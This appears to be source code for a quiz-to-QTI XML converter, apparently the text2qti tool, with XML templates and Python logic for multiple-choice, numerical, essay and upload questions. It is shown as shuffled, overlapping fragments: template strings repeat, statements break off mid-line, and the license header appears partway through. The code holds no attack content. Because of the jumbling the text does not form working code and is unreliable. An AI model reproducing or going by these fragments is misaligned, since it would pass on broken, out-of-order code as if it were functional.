question.numerical_exact", "if question.type == 'multiple_choice_question': typechange = 'cc.multiple_choice.v0p1' elif question.type ==", "<presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> </presentation> ''' ITEM_PRESENTATION_NUM = '''\\", "<fieldlabel>points_possible</fieldlabel> <fieldentry>0</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry></fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry>", "varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition", "</respcondition> ''' ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal>", "ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL = '''\\ <varequal respident=\"response1\">{answer_xml}</varequal>''' ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK =", "<material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT = '''\\", "</itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT = '''\\ <itemfeedback ident=\"general_incorrect_fb\"> <flow_mat> <material> <mattext", "ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT = '''\\ <itemfeedback ident=\"general_incorrect_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material>", "question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK) for choice in question.choices: if", "resprocessing.append(ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'numerical_question': xml.append(ITEM_RESPROCESSING_START) if question.feedback_raw", "</conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY", "typechange = 'cc.fib.v0p1' elif question.type == 'multiple_answers_question': typechange = 'cc.multiple_response.v0p1'", "varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition", "respident=\"response1\">{ident}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK = '''\\", "question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK) for choice in question.choices: if", "ITEM_PRESENTATION_MULTANS = ITEM_PRESENTATION_MCTF.replace('Single', 'Multiple') ITEM_PRESENTATION_MULTANS_CHOICE = ITEM_PRESENTATION_MCTF_CHOICE ITEM_PRESENTATION_SHORTANS = '''\\", "''' END_ITEM = '''\\ </item> ''' ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM = '''\\ <itemmetadata>", "<respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition>", "<conditionvar> <varequal respident=\"response1\">{answer_xml}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK", "[] xml.append(BEFORE_ITEMS.format(assessment_identifier=assessment_identifier, title=title_xml)) for question_or_delim in quiz.questions_and_delims: if isinstance(question_or_delim, TextRegion):", "</selection_extension> </selection> </selection_ordering> ''' GROUP_END = '''\\ </section> ''' TEXT", "{varequal} </and> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition>", "<itemfeedback ident=\"{ident}_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> '''", "= f'text2qti_upload_{question.id}' else: raise ValueError #Type Change for Schoology CC", "resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK) for choice in", "'''\\ <respcondition continue=\"No\"> <conditionvar> {varequal} </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition>", "'''\\ </resprocessing> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL = '''\\ <itemfeedback ident=\"general_fb\"> <flow_mat> <material>", "</assessment> </questestinterop> ''' GROUP_START = '''\\ <section ident=\"{ident}\" title=\"{group_title}\"> <selection_ordering>", "<other/> </conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK = '''\\", "<item ident=\"{question_identifier}\" title=\"{question_title}\"> ''' END_ITEM = '''\\ </item> ''' ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM", "<vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> '''", "respident=\"response1\">{num_exact}</varequal> <and> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </and> </or> </conditionvar> <setvar", "= '''\\ <respcondition continue=\"No\"> <conditionvar> <and> {varequal} </and> </conditionvar> <setvar", "linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> {varequal}", "'multiple_answers_question'): if question.type in ('true_false_question', 'multiple_choice_question'): item_presentation_choice = ITEM_PRESENTATION_MCTF_CHOICE item_presentation", "</qtimetadatafield> </qtimetadata> </itemmetadata> <presentation> <material> <mattext texttype=\"text/html\">{text_html_xml}</mattext> </material> </presentation> </item>", "xml.append(ITEM_PRESENTATION_NUM.format(question_html_xml=question.question_html_xml)) elif question.type == 'essay_question': xml.append(ITEM_PRESENTATION_ESSAY.format(question_html_xml=question.question_html_xml)) elif question.type == 'file_upload_question':", "</presentation> </item> ''' START_ITEM = '''\\ <item ident=\"{question_identifier}\" title=\"{question_title}\"> '''", "<conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/>", "<fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata> <presentation> <material> <mattext texttype=\"text/html\">{text_html_xml}</mattext> </material>", "question.type == 'essay_question': xml.append(ITEM_PRESENTATION_ESSAY.format(question_html_xml=question.question_html_xml)) elif question.type == 'file_upload_question': xml.append(ITEM_PRESENTATION_UPLOAD.format(question_html_xml=question.question_html_xml)) else:", "'essay_question', 'file_upload_question'): if question.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL.format(feedback=question.feedback_html_xml)) if question.correct_feedback_raw", "question_or_delim in quiz.questions_and_delims: if isinstance(question_or_delim, TextRegion): xml.append(TEXT.format(ident=f'text2qti_text_{question_or_delim.id}', text_title_xml=question_or_delim.title_xml, assessment_question_identifierref=f'text2qti_question_ref_{question_or_delim.id}', text_html_xml=question_or_delim.text_html_xml))", "''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT = '''\\ <itemfeedback ident=\"correct_fb\"> <flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext>", "not isinstance(question_or_delim, Question): raise TypeError question = question_or_delim xml.append(START_ITEM.format(question_identifier=f'text2qti_question_{question.id}', question_title=question.title_xml))", "item_metadata = ITEM_METADATA_ESSAY original_answer_ids = f'text2qti_essay_{question.id}' elif question.type == 'file_upload_question':", "for choice in question.choices: varequal.append(ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL.format(answer_xml=choice.choice_xml)) if question.correct_feedback_raw is not None:", "ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK xml.append(item_resprocessing_num_set_correct.format(num_min=question.numerical_min_html_xml, num_exact=question.numerical_exact_html_xml, num_max=question.numerical_max_html_xml)) if question.incorrect_feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK)", "original_answer_ids = f'text2qti_numerical_{question.id}' elif question.type == 'essay_question': item_metadata = ITEM_METADATA_ESSAY", "xml.append(GROUP_END) continue if not isinstance(question_or_delim, Question): raise TypeError question =", "</conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK", "= ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_UPLOAD_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK =", "<other/> </conditionvar> </respcondition> ''' ITEM_RESPROCESSING_END = '''\\ </resprocessing> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL", "</conditionvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"general_incorrect_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK", "<render_fib> <response_label ident=\"answer1\" rshuffle=\"No\"/> </render_fib> </response_str> </presentation> ''' ITEM_PRESENTATION_ESSAY =", "typechange = 'cc.multiple_response.v0p1' elif question.type == 'essay_question': typechange = 'cc.essay.v0p1'", "None: raise TypeError resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is", "for choice in question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}'))", "'''\\ <respcondition continue=\"No\"> <conditionvar> <other/> </conditionvar> </respcondition> ''' ITEM_RESPROCESSING_END =", "varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_VAREQUAL = '''\\ <varequal respident=\"response1\">{answer_xml}</varequal>''' ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK =", "question_or_delim xml.append(START_ITEM.format(question_identifier=f'text2qti_question_{question.id}', question_title=question.title_xml)) if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'):", "= ITEM_PRESENTATION_MCTF elif question.type == 'multiple_answers_question': item_presentation_choice = ITEM_PRESENTATION_MULTANS_CHOICE item_presentation", "None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw is not", "-*- coding: utf-8 -*- # # Copyright (c) 2021, <NAME>", "choice in question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}', answer_xml=choice.choice_xml))", "assessment_question_identifierref=f'text2qti_question_ref_{question_or_delim.id}', text_html_xml=question_or_delim.text_html_xml)) continue if isinstance(question_or_delim, GroupStart): xml.append(GROUP_START.format(ident=f'text2qti_group_{question_or_delim.group.id}', group_title=question_or_delim.group.title_xml, pick=question_or_delim.group.pick, points_per_item=question_or_delim.group.points_per_question))", "'''\\ <respcondition continue=\"No\"> <conditionvar> <or> <varequal respident=\"response1\">{num_exact}</varequal> <and> <vargte respident=\"response1\">{num_min}</vargte>", "= ITEM_METADATA_UPLOAD original_answer_ids = f'text2qti_upload_{question.id}' else: raise ValueError #Type Change", "GroupEnd): xml.append(GROUP_END) continue if not isinstance(question_or_delim, Question): raise TypeError question", "None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK)", "<mattext texttype=\"text/html\">{choice_html_xml}</mattext> </material> </response_label>''' ITEM_PRESENTATION_MULTANS = ITEM_PRESENTATION_MCTF.replace('Single', 'Multiple') ITEM_PRESENTATION_MULTANS_CHOICE =", "item_presentation_choice = ITEM_PRESENTATION_MULTANS_CHOICE item_presentation = ITEM_PRESENTATION_MULTANS else: raise ValueError choices", "'numerical_question': xml.append(ITEM_PRESENTATION_NUM.format(question_html_xml=question.question_html_xml)) elif question.type == 'essay_question': xml.append(ITEM_PRESENTATION_ESSAY.format(question_html_xml=question.question_html_xml)) elif question.type ==", "<varlte respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK =", "not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) else: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_NO_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}')) if question.incorrect_feedback_raw is not None:", "<varequal respident=\"response1\">{ident}</varequal>''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT = '''\\ <not> <varequal respident=\"response1\">{ident}</varequal> </not>''' ITEM_RESPROCESSING_MULTANS_INCORRECT_FEEDBACK", "= ITEM_PRESENTATION_MULTANS_CHOICE item_presentation = ITEM_PRESENTATION_MULTANS else: raise ValueError choices =", "is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw", "question.choices: if choice.feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL.format(ident=f'text2qti_choice_{choice.id}', feedback=choice.feedback_html_xml)) xml.append(END_ITEM) xml.append(AFTER_ITEMS)", "None: resprocessing.append(ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'short_answer_question': resprocessing =", "in question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}', answer_xml=choice.choice_xml)) varequal", "varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK = ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK ITEM_RESPROCESSING_ESSAY = '''\\ <respcondition", "item_presentation = ITEM_PRESENTATION_MULTANS else: raise ValueError choices = '\\n'.join(item_presentation_choice.format(ident=f'text2qti_choice_{c.id}', choice_html_xml=c.choice_html_xml)", "assessment_question_identifierref=f'text2qti_question_ref_{question.id}')) if question.type in ('true_false_question', 'multiple_choice_question', 'multiple_answers_question'): if question.type in", "</respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <or> <varequal", "elif question.type == 'essay_question': xml.append(ITEM_RESPROCESSING_START) xml.append(ITEM_RESPROCESSING_ESSAY) if question.feedback_raw is not", "original_answer_ids = ','.join(f'text2qti_choice_{c.id}' for c in question.choices) elif question.type ==", "= '''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <displayfeedback feedbacktype=\"Response\"", "resprocessing.append(ITEM_RESPROCESSING_SHORTANS_INCORRECT_FEEDBACK) resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'multiple_answers_question': resprocessing = []", "texttype=\"text/html\">{choice_html_xml}</mattext> </material> </response_label>''' ITEM_PRESENTATION_MULTANS = ITEM_PRESENTATION_MCTF.replace('Single', 'Multiple') ITEM_PRESENTATION_MULTANS_CHOICE = ITEM_PRESENTATION_MCTF_CHOICE", "= ITEM_PRESENTATION_MCTF_CHOICE item_presentation = ITEM_PRESENTATION_MCTF elif question.type == 'multiple_answers_question': item_presentation_choice", "</flow_mat> </itemfeedback> ''' def assessment(*, quiz: Quiz, assessment_identifier: str, title_xml:", "''' ITEM_PRESENTATION_NUM = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str", "if question.incorrect_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INCORRECT.format(feedback=question.incorrect_feedback_html_xml)) if question.type in ('true_false_question',", "varname=\"SCORE\">100</setvar> <displayfeedback feedbacktype=\"Response\" linkrefid=\"correct_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition", "choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) varequal = [] for choice", "elif question.type == 'essay_question': xml.append(ITEM_PRESENTATION_ESSAY.format(question_html_xml=question.question_html_xml)) elif question.type == 'file_upload_question': xml.append(ITEM_PRESENTATION_UPLOAD.format(question_html_xml=question.question_html_xml))", "<qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry></fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel> <fieldentry>{assessment_question_identifierref}</fieldentry> </qtimetadatafield> </qtimetadata> </itemmetadata>", "-*- # # Copyright (c) 2021, <NAME> # Copyright (c)", "original_answer_ids = f'text2qti_upload_{question.id}' else: raise ValueError #Type Change for Schoology", "str) -> str: ''' Generate assessment XML from Quiz. '''", "'''\\ <respcondition continue=\"No\"> <conditionvar> {varequal} </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> <displayfeedback", "resprocessing.append(ITEM_RESPROCESSING_END) xml.extend(resprocessing) elif question.type == 'short_answer_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START)", "== 'multiple_answers_question': resprocessing = [] resprocessing.append(ITEM_RESPROCESSING_START) if question.feedback_raw is not", "None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL.format(feedback=question.feedback_html_xml)) if question.correct_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT.format(feedback=question.correct_feedback_html_xml)) if question.incorrect_feedback_raw", "question.choices: if choice.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is", "elif question.type == 'true_false_question': typechange = 'cc.true_false.v0p1' elif question.type ==", "varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_CORRECT = '''\\ <varequal respident=\"response1\">{ident}</varequal>''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_VAREQUAL_INCORRECT =", "<qtimetadatafield> <fieldlabel> cc_profile </fieldlabel> <fieldentry> cc.exam.v0p1 </fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>", "GROUP_END = '''\\ </section> ''' TEXT = '''\\ <item ident=\"{ident}\"", "pick=question_or_delim.group.pick, points_per_item=question_or_delim.group.points_per_question)) continue if isinstance(question_or_delim, GroupEnd): xml.append(GROUP_END) continue if not", "continue=\"No\"> <conditionvar> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar>", "GroupStart, GroupEnd, TextRegion BEFORE_ITEMS = '''\\ <?xml version=\"1.0\" encoding=\"UTF-8\"?> <questestinterop", "'essay_question': item_metadata = ITEM_METADATA_ESSAY original_answer_ids = f'text2qti_essay_{question.id}' elif question.type ==", "question.type == 'essay_question': typechange = 'cc.essay.v0p1' else: typechange = question.type", "xml.append(ITEM_PRESENTATION_SHORTANS.format(question_html_xml=question.question_html_xml)) elif question.type == 'numerical_question': xml.append(ITEM_PRESENTATION_NUM.format(question_html_xml=question.question_html_xml)) elif question.type == 'essay_question':", "<conditionvar> <varequal respident=\"response1\">{ident}</varequal> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK", "xml.append(START_ITEM.format(question_identifier=f'text2qti_question_{question.id}', question_title=question.title_xml)) if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): item_metadata", "is not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_WITH_FEEDBACK.format(varequal='\\n'.join(varequal))) else: resprocessing.append(ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK.format(varequal='\\n'.join(varequal))) if question.incorrect_feedback_raw is not", "not None: resprocessing.append(ITEM_RESPROCESSING_MULTANS_GENERAL_FEEDBACK) for choice in question.choices: if choice.feedback_raw is", "<mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\" rcardinality=\"Single\"> <render_fib fibtype=\"Decimal\"> <response_label ident=\"answer1\"/>", "<decvar maxvalue=\"100\" minvalue=\"0\" varname=\"SCORE\" vartype=\"Decimal\"/> </outcomes> ''' ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK = '''\\", "feedbacktype=\"Response\" linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar>", "if question.feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK) for choice in question.choices:", "title_xml: str) -> str: ''' Generate assessment XML from Quiz.", "ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal respident=\"response1\">{answer_xml}</varequal> </conditionvar>", "question_title=question.title_xml)) if question.type in ('true_false_question', 'multiple_choice_question', 'short_answer_question', 'multiple_answers_question'): item_metadata =", "== 'multiple_answers_question': typechange = 'cc.multiple_response.v0p1' elif question.type == 'essay_question': typechange", "<mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_lid ident=\"response1\" rcardinality=\"Single\"> <render_choice> {choices} </render_choice> </response_lid>", "linkrefid=\"{ident}_fb\"/> </respcondition> ''' ITEM_RESPROCESSING_SHORTANS_SET_CORRECT_WITH_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> {varequal}", "'true_false_question': typechange = 'cc.true_false.v0p1' elif question.type == 'short_answer_question': typechange =", "question.type in ('true_false_question', 'multiple_choice_question'): item_presentation_choice = ITEM_PRESENTATION_MCTF_CHOICE item_presentation = ITEM_PRESENTATION_MCTF", "ITEM_RESPROCESSING_SHORTANS_GENERAL_FEEDBACK = ITEM_RESPROCESSING_MCTF_GENERAL_FEEDBACK ITEM_RESPROCESSING_SHORTANS_CHOICE_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar> <varequal", "typechange = 'cc.essay.v0p1' else: typechange = question.type xml.append(item_metadata.format(question_type=typechange, points_possible=question.points_possible, original_answer_ids=original_answer_ids,", "</conditionvar> </respcondition> ''' ITEM_RESPROCESSING_END = '''\\ </resprocessing> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL =", "= '''\\ <response_label ident=\"{ident}\"> <material> <mattext texttype=\"text/html\">{choice_html_xml}</mattext> </material> </response_label>''' ITEM_PRESENTATION_MULTANS", "'cc.fib.v0p1' elif question.type == 'multiple_answers_question': typechange = 'cc.multiple_response.v0p1' elif question.type", "from .quiz import Quiz, Question, GroupStart, GroupEnd, TextRegion BEFORE_ITEMS =", "import Quiz, Question, GroupStart, GroupEnd, TextRegion BEFORE_ITEMS = '''\\ <?xml", "action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_MCTF_INCORRECT_FEEDBACK = '''\\ <respcondition continue=\"Yes\"> <conditionvar>", "original_answer_ids=original_answer_ids, assessment_question_identifierref=f'text2qti_question_ref_{question.id}')) if question.type in ('true_false_question', 'multiple_choice_question', 'multiple_answers_question'): if question.type", "isinstance(question_or_delim, Question): raise TypeError question = question_or_delim xml.append(START_ITEM.format(question_identifier=f'text2qti_question_{question.id}', question_title=question.title_xml)) if", "xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_GENERAL.format(feedback=question.feedback_html_xml)) if question.correct_feedback_raw is not None: xml.append(ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_CORRECT.format(feedback=question.correct_feedback_html_xml)) if question.incorrect_feedback_raw is", "<flow_mat> <material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' ITEM_FEEDBACK_MCTF_SHORTANS_MULTANS_NUM_INDIVIDUAL =", "License: # http://opensource.org/licenses/BSD-3-Clause # from .quiz import Quiz, Question, GroupStart,", "respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\" varname=\"SCORE\">100</setvar> </respcondition> ''' ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_WITH_FEEDBACK", "</response_str> </presentation> ''' ITEM_RESPROCESSING_START = '''\\ <resprocessing> <outcomes> <decvar maxvalue=\"100\"", "cc_profile </fieldlabel> <fieldentry> cc.exam.v0p1 </fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel> qmd_assessmenttype </fieldlabel>", "<qtimetadatafield> <fieldlabel>points_possible</fieldlabel> <fieldentry>0</fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>original_answer_ids</fieldlabel> <fieldentry></fieldentry> </qtimetadatafield> <qtimetadatafield> <fieldlabel>assessment_question_identifierref</fieldlabel>", "</respcondition> ''' ITEM_RESPROCESSING_MULTANS_SET_CORRECT_NO_FEEDBACK = '''\\ <respcondition continue=\"No\"> <conditionvar> <and> {varequal}", "<respcondition continue=\"No\"> <conditionvar> <vargte respident=\"response1\">{num_min}</vargte> <varlte respident=\"response1\">{num_max}</varlte> </conditionvar> <setvar action=\"Set\"", "'multiple_choice_question', 'multiple_answers_question'): if question.type in ('true_false_question', 'multiple_choice_question'): item_presentation_choice = ITEM_PRESENTATION_MCTF_CHOICE", "is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_CHOICE_FEEDBACK.format(ident=f'text2qti_choice_{choice.id}')) if question.correct_feedback_raw is not None: resprocessing.append(ITEM_RESPROCESSING_MCTF_SET_CORRECT_WITH_FEEDBACK.format(ident=f'text2qti_choice_{correct_choice.id}'))", "<material> <mattext texttype=\"text/html\">{feedback}</mattext> </material> </flow_mat> </itemfeedback> ''' def assessment(*, quiz:", "ITEM_PRESENTATION_ESSAY = '''\\ <presentation> <material> <mattext texttype=\"text/html\">{question_html_xml}</mattext> </material> <response_str ident=\"response1\"", "xmlns=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://www.imsglobal.org/xsd/ims_qtiasiv1p2 http://www.imsglobal.org/profile/cc/ccv1p2/ccv1p2_qtiasiv1p2p1_v1p0.xsd\"> <assessment ident=\"{assessment_identifier}\" title=\"{title}\"> <qtimetadata> <qtimetadatafield> <fieldlabel>cc_maxattempts</fieldlabel>", "2020, <NAME> # All rights reserved. # # Licensed under", "= ITEM_RESPROCESSING_NUM_EXACT_SET_CORRECT_NO_FEEDBACK else: if question.numerical_exact is None: item_resprocessing_num_set_correct = ITEM_RESPROCESSING_NUM_RANGE_SET_CORRECT_WITH_FEEDBACK", "'') ITEM_METADATA_UPLOAD = ITEM_METADATA_ESSAY ITEM_PRESENTATION_MCTF = '''\\ <presentation> <material> <mattext", "num_max=question.numerical_max_html_xml)) if question.incorrect_feedback_raw is not None: xml.append(ITEM_RESPROCESSING_NUM_INCORRECT_FEEDBACK) xml.append(ITEM_RESPROCESSING_END) elif question.type", "elif question.type == 'numerical_question': item_metadata = ITEM_METADATA_MCTF_SHORTANS_MULTANS_NUM original_answer_ids = 